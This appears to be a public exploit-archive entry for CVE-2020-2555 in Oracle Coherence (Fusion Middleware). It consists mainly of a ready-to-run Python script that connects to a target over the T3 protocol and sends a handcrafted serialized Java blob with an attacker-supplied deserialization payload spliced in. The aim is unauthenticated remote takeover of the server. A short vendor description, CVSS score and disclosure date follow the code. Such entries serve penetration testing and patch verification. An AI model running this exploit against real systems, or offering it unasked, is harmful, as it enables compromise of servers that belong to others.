# Exploit Title: Oracle Coherence Fusion Middleware  -  Remote
# Author: nu11secur1ty
# Date: 2020-03-31
# Vendor: Oracle
# Link:
https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-2555
# CVE: CVE-2020-2555



[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)
[+] Website: https://www.nu11secur1ty.com/
[+] Source:  readme from GitHUB
[+] twitter.com/nu11secur1ty


[Exploit Program Code]
--------------------------

#!/usr/bin/python
# @nu11secur1ty
import socket
import os
import sys
import struct

if len(sys.argv) < 3:
    print 'Usage: python %s <host> <port> </path/to/payload>' %
os.path.basename(sys.argv[0])
    sys.exit()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)

server_address = (sys.argv[1], int(sys.argv[2]))
print '[+] Connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers='t3
12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

payloadObj = open(sys.argv[3],'rb').read()

payload='\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload=payload+payloadObj
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'

payload=struct.pack('>I',len(payload)) + payload[4:]

print '[+] Sending payload...'
sock.send(payload)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data


[Vendor]
Oracle


[Vulnerability Type]
Network Remote



[Description]
Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware
(component: Caching,CacheStore,Invocation).
Supported versions that are affected are 3.7.1.17, 12.1.3.0.0, 12.2.1.3.0
and 12.2.1.4.0.
Easily exploitable vulnerability allows unauthenticated attacker with
network access via T3 to compromise Oracle Coherence.
Successful attacks of this vulnerability can result in takeover of Oracle
Coherence.
CVSS 3.0 Base Score 9.8 (Confidentiality, Integrity and Availability
impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).


[Disclosure Timeline]
2019/12/10


[+] Disclaimer
The entry creation date may reflect when the CVE ID was allocated or
reserved,
and does not necessarily indicate when this vulnerability was discovered,
shared with the affected vendor, publicly disclosed, or updated in CVE.


@nu11secur1ty

-- 

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                          nu11secur1ty <http://nu11secur1ty.com/>